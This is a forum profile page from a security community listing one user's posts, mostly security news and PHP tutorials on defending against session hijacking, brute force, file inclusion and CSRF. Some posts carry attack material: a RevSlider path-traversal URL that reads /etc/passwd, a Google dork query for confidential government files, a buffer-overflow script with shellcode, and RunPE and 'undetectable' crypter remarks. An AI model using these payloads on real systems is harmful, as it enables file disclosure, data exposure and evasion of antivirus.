-
Posts
2175 -
Joined
-
Last visited
-
Days Won
30
Everything posted by Byte-ul
-
Mai interesant: /wp-admin/admin-ajax.php?action=revslider_show_image&img=../../../../../../../../../etc/passwd
-
Welcome to RST Ne poti arata un proiect pe care l-ai facut in cele n limbaje de programare pe care le cunosti? meh
-
Rezolvarea... 124,82,53 sunt literele T,R,S in Oct,Dec, respectiv Hex. C,A,B reprezinta ordinea in care literele obtinute mai sus vor fi aranjate (3,1,2). Adica RST. Restul sunt chestiile introduse pentru deruta.
-
Cel care a facut apelul fals avea 15 ani si a primit 25-faranumar (asa e la americani) ani la parnaie A fost acuzat pentru terorism
-
An automated DDoS reflection attack tool used in the wild
Byte-ul posted a topic in Stiri securitate
A group of hackers dubbed DERP has created a super tool to coordinate multi protocol DDoS reflection attacks as explained by Melbourne-based Micron21 firm. For the first time ever a hacking group coordinated a range of different DDoS reflection attacks against a data center of the firm Melbourne-based Micron21, the attack occurred on August 2nd. The experts consider the attack singular and for this reason have used the term ‘Combination Distributed Reflective Denial of Service’ or CDRDoS to describe its dynamic. The particularity of the DDoS reflection attack is that while attackers usually exploit UDP traffic, this time the threat actor abused configuration weaknesses in servers using the NTP, DNS, SSDP and CHARGEN protocols to increase the magnitude of the ‘reflection’ attack. The company Melbourne-based Micron21 observed that one of its customers was hit by a modest DDoS attack that that peaked at 40Gbps internationally, or 1.2Gbps domestically. DDoS reflection attacks were considered very dangerous due to the level of amplification they allow attackers, in March 2013 Spamhaus company was hit by a major attack which abused DNS and recently CloudFlare was hit by an attack which abused of the NTP protocol peaking 400Gbps while VeriSign was hit by 300Gbps attack which exploited the Content Delivery Network. The experts believe that attackers have created a super tool to coordinate the attack on Micron21, as explained in a blog post, the group called ‘DERP’ or ‘DerpTrolling’ is responsible for the attack. DERP group has been active since 2011 and is known for attacks on the gaming industry, the post speculated that hackers have created a super-tool, the CDRDoS, able to coordinate the multi protocol DDoS reflection attacks. The tool referred in the blog post is able to try the different protocols to exploit flaws in unpatched/miconfigured servers. Using the tool the DERP was able to identify flawed servers to point at the data centre. In the past, experts noticed that DERP don’t only use NTP as an attack vector, they exploited the Character Generator Protocol (CHARGEN) used by Internet of Things devices. Despite DDoS attacks are largely known by security firms they are still very effective against IT firms has demonstrated by recent attacks. Source: An automated DDoS reflection attack tool used in the wild | Security Affairs -
Routers manufactured by Netcore and sold worldwide under Netis brand have a wide-open backdoor that can be fairly easily exploited by threat actors. Experts at TrendMicro discovered that routers manufactured by Chinese security vendor and sold under the brand name Netcore in China have a hard-coded password. The hard-coded password allows attackers to access user’s traffic with a backdoor, the Netcore routers are also sold in other countries, including South Korea, Taiwan, Israel and United States, under the brand Netis. Netis routers provide the best wireless transfer speed up to 300Mbps, offering a better performance for different applications like video streaming and VoIP phone calling. As explained in the blog post published by Tim Yeh, Threat Researcher at Trend Micro, bad actors could exploit the backdoor to bypass router security and to run malicious code on device or change settings. The backdoor discovered by experts is an open UDP port, accessible from the WAN side of the router, listening at port 53413. The presence of the backdoor allows attackers to compromise the Netcore router if it is accessible from the Internet just knowing the password hardcoded into the firmware. This attack scenario is common for almost all residential and SMB users, exploiting the backdoor the threat actors could upload or download malicious code, change device settings, run a man-in-the-middle (MitM) attack to eavesdrop the user’s internet communication and steal sensitive information. In the following image is reported the output Netstat tool which reports the Local addressed for the web admin and backdoor ports. Netcore – Netis routers are known for providing the best wireless transfer speed up to 300Mbps, offering a better performance on online gaming, video streaming, and VoIP phone calling. An additional element of concern it that Netcor – Netis routers have all the same password and the backdoor cannot be changed or disable. The security issue has an impact on millions of devices worldwide, this is the number of routers discovered online with a large scale scanning. It is quite easy to discover vulnerable Netcore – Netis routers with an ordinary port scan searching for the above UDP port open. xperts at Trend Micro also discovered that a configuration file containing the credentials for the web-based administration panel on the router is stored in clear text and for accessible to attackers. The post closes with a bad news for Netcore – Netis owners as explained by Yeh: Source: A Wide Open Backdoor is present in million Netis Routers | Security Affairs
-
FBI and National Counterterrorism Center issued a memo to warn Government agencies on the risks related to Google Dorking on their websites. On July 7th, the FBI and the National Counterterrorism Center issued a memo to warn law enforcement and private security agencies about the practice of Google Dorking and its capabilities. The FBI warns the recipients of the memo on the possible use of Google Dorking to “locate information that organizations may not have intended to be discoverable by the public or to find website vulnerabilities for use in subsequent cyber attacks.” The Bureau is concerned about the possibility that information gathered with Google Dorking could be used to gather sensitive information to use in cyber attacks, a common practice in the hacking and the intelligence community. The memo mentions the Advanced Operators for Web Search and their possible use to locate specific contents based on site, file type, URL and much more. The FBI isn’t the unique agency interested to Google Dorking, in May 2013 it was revealed the existence of the book written by Robyn Winder and Charlie Speight for the NSA, titled Untangling the Web: A Guide to Internet Research, which also includes a specific session on the Google Hacking. NSA reserved an entire chapter to instruct its agents on how to conduct complex research thanks to queries composed with advanced operators. The memo highlights an incident occurred in 2011 when a group of hackers discovered Social Security numbers of 43,000 people affiliated with Yale University using to Google Dorking. Another similar incident mentioned in the memo occurred in October 2013, when nearly 35,000 websites compromised by hackers that used Google Dorking to locate vulnerable vBulletin installations. The memo explains how it is possible to retrieve content and documents indexed in the government space, data that an attacker could use for various kinds of attacks like spear phishing. Using the following query is possible to discover Government documents containing confidential data filetype:"xls | xlsx | doc | docx | ppt | pptx | pdf" site:gov "FOUO" | "NOFORN" | "Confidential" there FOUO states for “For Official Use Only” and NOFORN states means “Not for release to foreign nationals“. The memo also provides the following suggestions to prevent Google Dorking used to search sensitive information: Source: http://securityaffairs.co/wordpress/27862/hacking/feds-memo-google-dorking.html
-
Malicious websites purporting to provide access to the upcoming Windows 9 operating system redirect users to affiliate marketing scams and phishing. Any major event can be turned by cybercriminals into bait for unsuspecting users, and news about a Windows 9 Preview being delivered next month is an opportunity that cannot be overlooked. Gideon Hernandez, fraud analyst at Trend Micro, observed the malicious activity by searching for a combination of keywords such as “Windows 9” and “leak.” Potentially malicious websites claim to provide a leaked copy of the next operating system from Microsoft. In truth, before offering the download, they steer the user to different locations, which deliver various software, the crooks probably receiving a commission for each installation, as part of affiliate marketing. However, other types of behavior have been observed by Trend Micro too, the potential victim being sometimes served adware that could funnel in other files, executable or not, thus posing the risk of infostealers and Trojans being added to the system. In the end, the much desired download link is provided, but according to Hernandez, it is for “a reskinned Windows 7 SP1 64-bit bundled with a handful of software utilities, rather than a ‘leaked’ copy of Windows 9.” Other types of scams leveraging the hype around Windows 9 OS refer to phishing, the target of the cybercriminals being users' mobile phone numbers. Malicious campaigns hooking unsuspecting users with the Windows 9 bait are likely to see an increase both in frequency and risk. Sursa: Leaked Windows 9 Preview Lure Leads to Adware and Phishing
-
[Release] EasyShot Screen Grabber ~You'll fall in love with it~
Byte-ul replied to Byte-ul's topic in Programe utile
Am si eu kaspesrky si nu detecteaza nimic. E protejat cu crypto-obfuscator parca, posibil ca asta sa fie. -
Scan nou: RazorScanner - Scan Result Nedetectabil
-
folosesti runpe pentru executabile native sau reflection pentru managed (.net) cauta pe google runpe, sunt cu tonele.
-
foloseste eventu listbox.selectedindexchanged pui acolo if listbox.selectedindex (sau cum e) = 1, msgbox(1) Cand o sa dea click pe text2 o sa apara msgboxu
-
Antena parabolica home-made internet-wireless 33dbi-2,4Ghz
Byte-ul replied to bruttus139's topic in Wireless Pentesting
Daca ai adaptor de 2.4ghz, trebuie sa faci si antena tot de 2.4ghz. -
File Association in VB.NET - CodeProject
-
XOR necesita parola.
-
99$ Course for FREE ( Basics Of Web Application Penetration Testing )
Byte-ul replied to tuxiqul's topic in Free stuff
De ce toate cursurile astea sunt facute de asiatici care au un accent vai de el si iti e aproape imposibil sa intelegi ce vorbesc... Multam. -
Pai asa zicea aici: "In cazul meu, pe Windows XP, am gasit instructiunea "jmp esp" in kernel32.dll la adresa 0x7C86467B, reprezentata in little endian ca 0x7b46867c." Am vazut ca in scriptul de python a pus-o in formatul little endian. Asta e scriptul: #!/usr/bin/python import ctypes import subprocess buffer = "\x41" * 24 buffer += "\xef\xf6\xb1\x75" buffer += ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c" "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74" "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe" "\x49\x0b\x31\xc0\x51\x50\xff\xd7") subprocess.call(['C:\\Users\\Andrei\\Documents\\Visual Studio 2013\\Projects\\overflow test\\Release\\test.exe', buffer])
-
Security researchers have dissected the over-the-air (OTA) communication mechanisms, learned how it works and its flaws, and abused it with custom code that allowed execution of code leading to complete compromise of the mobile phone. Mathew Solnik and Marc Blanchou of Accuvant Labs prepared the presentation for the Black Hat security conference taking place in Las Vegas this week, where they also demonstrated OTA code execution. Reaching the phone wirelessly offers an attacker the possibility to deliver exploits for different vulnerabilities, ultimately ending with gaining complete control over the device. The two researchers said in the abstract of the presentation that over two billion devices are affected by potential problems in the different control mechanism planted by the manufacturers for deploying software updates or changing encryption keys. Should an attacker decide to reverse engineer these mechanisms, they would be likely to find a way to bypass protection in order to deliver the malicious code. According to the two researchers, at fault is the Open Mobile Alliance Device Management (OMA- DM) protocol. This is used by most mobile phone manufacturers for software updates and for network administration. “Layer by layer, we've deconstructed these hidden controls to learn how they work. While performing this work we've unearthed subtle flaws in how the communication is handled and implemented. After understanding these flaws, we've written proof-of-concept exploits to demonstrate the true risk this software presents to the end user,” says the duo. In a video posted on YouTube, Accuvant researchers demonstrate a jailbreak over-the-air on a stock iPhone 5C; in the first step of the operation ASLR is bypassed and the heap and stack payloads are uploaded, along with the custom code created by the researchers. The end result is root access to the device without causing any sign of suspicious activity on the screen, leaving the user completely unaware of the background operation. In a different video, they perform an NIA-based lock screen bypass, where two phones are almost simultaneously unlocked. If an attacker has all the code in place, all they need is the devices to detect the signal of the phone they want to intercept, a thing that can be done with a low-power cellular base station called femtocell. The attacks are not limited to a specific mobile operating system platform, as Android, iOS, Blackberry and Embedded M2M devices; however, it appears that the abuse is easier to carry on some (Android, Blackberry) than others (iOS). OTA jailbreak on iPhone 5C: NIA-based lock screen bypass: Source: Two Billion Phones Vulnerable to Over-the-Air Delivered Risks
-
Tocmai am incercat eu, insa nu prea mi-a iesit. Cam asa arata in ollydbg codul compilat: http://i.imgur.com/VBYBagp.png am cautat jmp esp in kernel32.dll si nu am gasit ( http://i.imgur.com/7SvdJNN.png ), apoi am cautat in shell32.dll si am gasit ( http://i.imgur.com/Bk5MILM.png ) Am transformat adresa din big endian in small endian: http://i.imgur.com/LCLlo6o.png Cam asa arata fisierul .py: Cand executam se intampla exact aceeasi chestia ca atunci cand executam cu multi de a.. stopped working. Asa arata cand execut cu multi de a: http://i.imgur.com/OdnrtJ0.png Ajung 20 de a (61) in stack, apoi baga un 00 si pac eroare... Care este cauza? De ce nu functioneaza corect? Windowsul e 8.1 64 biti
-
An Overview of Sessions How are They Used? Sessions are a solution to the stateless nature of the HTTP protocol. They enable requests made by the same web user to be linked to one another in the form of transactions, allowing for sequential tasks to be performed. This could be anything, like logging into an account (privilege change), adding items to a shopping cart, proceeding through a checkout system, etc. These are all tasks that require a state to be maintained. So, What Actually are They? Sessions are, by default, stored in temporary files on the web server. Each of these temporary session files hold all information being stored as session data by your web application. Every session has a unique ID (often referred to as the session identifier) that is randomly generated. This session identifier is, by default, stored in cookie held on a web users computer. The cookie is created upon initiating the session (hence why session initiation must come before any output to the screen - because cookies are apart of the HTTP header). Upon subsequent page requests, the cookie is read by the web server, and the session ID is looked up against the temporary files to see if the (re-)visiting user can resume their session. Session Identifier Acquirement The secrecy of a session identifier is critical to a session's security. An attacker typically has three options when it comes to acquiring a valid session identifier: Prediction Prediction of the session identifier will be the least of your worries. The generation of session IDs is sufficiently random to not need to worry about this attack vector (and so no preventative measures need to be issued). Capture Capturing a session identifier involves looking at other targets to attack where the session ID is kept. Because cookies (by default) propagate the session identifier, they have become a common target when attempting to capture a valid session identifier. Browser vulnerabilities can help attackers expose cookie information, though because of the rarity of these types of attacks, you need not worry too much about them. FixationFixation of a session identifier is where the session ID is set by an attacker in the query string of a URI (usually in the form of ?PHPSESSID=...), forcing the user clicking that link to use that given session identifier. This attack vector used to be a lot easier when session IDs could be passed via the URI. On newer versions of PHP however, the PHP.ini file now has the session.use_trans_sid directive turned off (set to zero) by default. (If your session.use_trans_sid is enabled for some reason or another, then you may want to think about turning it off.) Thus, this security problem is not as much of a concern for us anymore - but that's not to say we should just ignore it. It's considered good practice to invoke the session_regenerate_id() when there has been a privilege change in your application (be sure to set the optional parameter to true to delete the old session data). This will ensure that a new session identifier is regenerated to keep your user sessions secure when a change in privilege has occurred and is another preventative measure to session fixation attacks. Session Hijacking Session Hijacking is an attempt to gain access to a user's session to impersonate them. In order for an attacker to hijack a user's session, they must first gain their session identifier (through one of the aforementioned methods). This in itself is not trivial process, and we can aim to make session hijacking even more difficult through looking for consistency in each users behaviour (and therefore requiring authentication for inconsistent behaviour - like re-logins). One method of preventing this is to look for consistency in the requests made by the user agent header (accessible by the variable $_SERVER['HTTP_USER_AGENT'] variable). We can hash the user's browser agent (such as with md5), and store that as apart of the session. This can then be checked upon subsequent requests: <?php session_start(); if(!isset($_SESSION['user_agent'])) { $_SESSION['user_agent'] = md5($_SERVER['HTTP_USER_AGENT']); }else{ if($_SESSION['user_agent'] !== md5($_SERVER['HTTP_USER_AGENT']) { // potentially an imposter - authenticate user with a login page } } A second method of prevention of session hijacking has already been described earlier, in cross-site request forgery attacks. The idea is exactly the same, where a nonce (a uniquely generated token) is passed via the URI to ensure each request is successfully submitted by that user and that user alone. Credits: http://www.hackforums.net/showthread.php?tid=4238146
-
What is it? A brute force attack is where all combinations of characters are used in an attempt to find a user's password. It is more formally known as an enumeration attack. A dictionary attack on the other hand is where words are used. It can be used in conjunction with a brute force attack to form a hybrid attack. How do I prevent it? There are a number of techniques we can implement into login pages to prevent such attacks, as shown below. Page Timing Sessions are used to maintain state within our web applications over a number of HTTP request calls. We can make use of them for timing form submissions to ensure that our form is not spammed or vulnerable to bruteforce/dictionary attacks. The following shows how we can implement such as system in PHP: <?php session_start(TRUE); if(!isset($_SESSION['mintime'])) { $_SESSION['mintime'] = array(0, time()); } if(isset($_POST['submit'])) { if($_POST['password'] && $_POST['username']) { // form validation here array_push($_SESSION['mintime'], time()); array_shift($_SESSION['mintime']); if($_SESSION['mintime'][1] - $_SESSION['mintime'][0] < 2) { // minimum time (in seconds) between valid form submissions // form submitted too quickly }else{ // successful form submission } }else{ // incomplete form data } } ?> <!DOCTYPE html> <html> <body> <form method="POST"> Username: <input type="text" name="username" /> Password: <input autocomplete="off" type="password" name="password" value="" /> <input type="submit" name="submit" value="Login!" /> </form> </body> </html> Upon first landing on the above page, a session variable called mintime is created. It holds two values (time of initial page load and time of form submission), and is responsible for keeping track of the time between form submissions. With each subsequent form submission, a new value of the current time is pushed to the end of the $_SESSION['mintime'] array and the old time is removed from the beginning. Using these two times, we can find the difference between them and check to see if it is greater than the minimum amount of time between valid form submissions (which is 2 seconds in the above example). One thing to note with this method is to ensure that at least the password field does not have a prefilled value (a feature often offered by most modern-day browsers). This is because we need the end user to manually type in their password to ensure that they aren't able to immediately submit the form upon landing on the page (which would cause an invalid login). We do this by setting the password field using the value attribute, and by setting the (HTML5) autocomplete attribute to off. reCAPTCHA Recaptcha is becoming increasingly popular as a method to prevent bots from performing form submissions. For those of you who do not know what reCAPTCHA is, see this web page for more information. For this example, we will be using Google's reCAPTCHA, where we only manipulate the form data submitted once the reCAPTCHA has been correctly solved. First things first, you will need to sign up for Google's reCAPTCHA. Having done that, you will now have your public and private keys at hand to be used in the following example. The next thing to do is to download the library associated with PHP, which can be found here. This will need to be included in both the generation of the reCAPTCHA within the form you're looking to protect, and also within the validation logic of said form. Here's what our form page may look like with Google's reCAPTCHA in place: <?php require_once 'recaptcha/recaptchalib.php'; if(isset($_POST['submit'])) { $privatekey = 'private_key_here'; $resp = recaptcha_check_answer($privatekey, $_SERVER['REMOTE_ADDR'], $_POST['recaptcha_challenge_field'], $_POST['recaptcha_response_field']); if(!$resp->is_valid) { // What happens when the CAPTCHA was entered incorrectly die ('The reCAPTCHA wasn\'t entered correctly. Go back and try it again. (reCAPTCHA said: '.$resp->error.')'); }else{ // Your code here to handle a successful verification } } ?> <!DOCTYPE html> <html lang="en"> <body> <form method="POST"> Username: <input type="text" name="username" /><br /> Password: <input type="password" name="password" /><br /> <?php $publickey = 'public_key_here'; echo recaptcha_get_html($publickey); ?> <input type="submit" name="submit" value="Log in" /> </form> </body> </html> The PHP code at the top of the page is the validation part, where an error is output if the input for the reCAPTCHA fails validation. If all goes smoothly, then we can continue to add our own validatory code within the else statement. For our form, we only need to echo out the reCAPTCHA form with the corresponding public key as the parameter for the reCAPTCHA generation function, recaptcha_get_html(). That's about as basic as it gets to adding reCAPTCHA to a form. You can visit Google's documentation on using its reCAPTCHA with PHP and other languages here. Lengthening Successful Form Submissions The usleep() function in PHP causes a script to pause for a time in microseconds (there are 1 million microseconds to a second). It can be used after a successful form submission to slow down the page ever so slightly so that real users won't notice its effect, but brute force/dictionary attacks will. Even setting the value of usleep() to 200000 microseconds (0.2 seconds) will greatly impede such attacks, rendering them useless. Here's a quick example usage: <?php if(isset($_POST['submit'])) { if($_POST['password'] && $_POST['username']) { // form validation here usleep(200000); // successful form submission }else{ // incomplete form data } } This method is more of a quick hack to prevent this type of attack, and it's one that I personally would not use because there are better alternatives (as discussed above). The techniques above are common ways to mitigate such attacks. There are other techniques that were not discussed above which can be deployed, such as account locking based on a certain number of attempts per IP address or requiring an answer to a random, pre-computed question. Using a computationally-slow hashing algorithm can also be a somewhat effective measure - though alone it will still allow for abuse on your Web form (which is something we want to mitigate). Credits: http://www.hackforums.net/showthread.php?tid=4238146
-
What is it? Local file inclusion is where the file system of a Web application is traversed and a file is included where it should not have been (a common exposure attack). Remote file inclusion is where a file from another website is included into a Web application (commonly to execute malicious code). How do I prevent it? Both of these vulnerabilities only arise when dynamic paths are used (specifically, where user input is made apart of that dynamic path). They both require serious oversights of the Web developer, and yet they're both so simple to prevent. For LFI prevention, if you know the file name you're looking to include, then using the whitelist approach (LINK TO IT) (as described in section A) can be used to ensure that only verified files are included. If, on the other hand, you don't have a list of valid file names to include, then you can perform some basic sanitisation to prevent directory traversing. The basename() function can do just this: <?php if(basename($_GET['file_name']) !== $_GET['file_name']) { // invalid file specified } The basename() function will evaluate its parameter and will return only the trailing name from it. Therefore, if a path is given (perhaps for an LFI test), the function will return only the file name or the last directory in the specified path. Neither of these return values would pass the above validation. You can prevent RFI in much the same way as in the above case. Also, as an extra preventative measure against RFI, you can also disable the allow_url_fopen directive to nullify the ability of referencing remote resources. Credits: http://www.hackforums.net/showthread.php?tid=4238146
-
What is it? CSRF is a method of attack where a victim unknowingly sends forged requests, set up by an attacker. They have the potential to occur upon any actions that haven't been verified through a validation process. Without taking specific measures to intentionally prevent CSRF, users of a web application can be directed to another web page and unintentionally load a image or a javascript-submitted form to execute a specific action in the background. How do I prevent it? The solution to tackle this attack type is to use a*security feature known as a nonce, where a unique token is passed through the request URI (via the HTTP GET method), which is then validated by requested script on the other end with a session variable. Here's a quick example to demonstrate: index.php <?php session_start(); $_SESSION['nonce']*=*bin2hex( openssl_random_pseudo_bytes(10)); ?> <!DOCTYPE*html> <html> <body> <a*href="action.php?do=delete&id=1&tok=<?php*echo*$_SESSION['nonce'];*?>">Delete*Something</a> </body> </html> action.php <?php session_start(); if(isset($_GET['tok'])*&&*$_GET['tok']*===*$_SESSION['nonce']) { #valid*request } The above gives a URI example of a HTTP GET request used to perform an action. The unique token (in the session variable) is echoed out so that it's in the URI link when the users clicks it on the index.php page, making the link valid only on that page (when they legitimately want to use that action). If the link is used without the request token, then the action is deemed invalid and is not carried out. Credits: http://www.hackforums.net/showthread.php?tid=4238146